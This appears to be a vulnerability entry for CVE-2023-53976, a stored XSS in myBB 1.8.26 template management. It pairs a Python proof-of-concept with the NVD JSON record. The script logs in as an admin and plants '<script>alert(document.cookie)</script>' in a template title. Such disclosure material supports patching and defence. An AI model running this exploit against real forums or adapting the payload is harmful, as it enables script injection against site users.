CVE-2023-53976

# CVE-2023-53976 PoC - myBB Forums Stored XSS via Template Management # Target: myBB Forums <= 1.8.26 # Attack Vector: Authenticated admin creates malicious template import requests import re TARGET_URL = "http://target-forum.com" ADMIN_PATH = "/admin/index.php" USERNAME = "admin" PASSWORD = "admin_password" session = requests.Session() # Step 1: Admin login login_data = { "username": USERNAME, "password": PASSWORD, "do": "login" } login_response = session.post(f"{TARGET_URL}{ADMIN_PATH}", data=login_data) # Step 2: Navigate to template management # Templates and Style > Templates > Manage Templates > Global Templates template_url = f"{TARGET_URL}{ADMIN_PATH}?module=style-templates" # Step 3: Create new template with XSS payload in title field malicious_payload = '<script>alert(document.cookie)</script>' new_template_data = { "action": "do_add", "title": malicious_payload, # XSS payload in template title "template": "<p>Malicious template content</p>", "sid": "-1" # Global template } create_response = session.post(template_url, data=new_template_data) # Step 4: Verify XSS is stored and executed when template is viewed # Any user viewing the template will trigger the JavaScript payload print(f"XSS payload sent: {malicious_payload}") print(f"Response status: {create_response.status_code}")

{"cve": {"id": "CVE-2023-53976", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:03.020", "lastModified": "2025-12-27T19:15:39.940", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "myBB Forums 1.8.26 contains a stored cross-site scripting vulnerability in the template management system that allows authenticated administrators to inject malicious scripts when creating new templates. Attackers can exploit this vulnerability by inserting script payloads in the template title field when adding new templates through the 'Templates and Style' > 'Templates' > 'Manage Templates' > 'Global Templates' interface, causing arbitrary JavaScript to execute when the template is viewed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mybb:mybb:1.8.26:*:*:*:*:*:*:*", "matchCriteriaId": "D7103DE6-B476-4C58-8D63-7B76DBF87689"}]}]}], "references": [{"url": "https://mybb.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51136", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/mybb-forums-stored-cross-site-scripting-via-template-management", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2021-41866", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}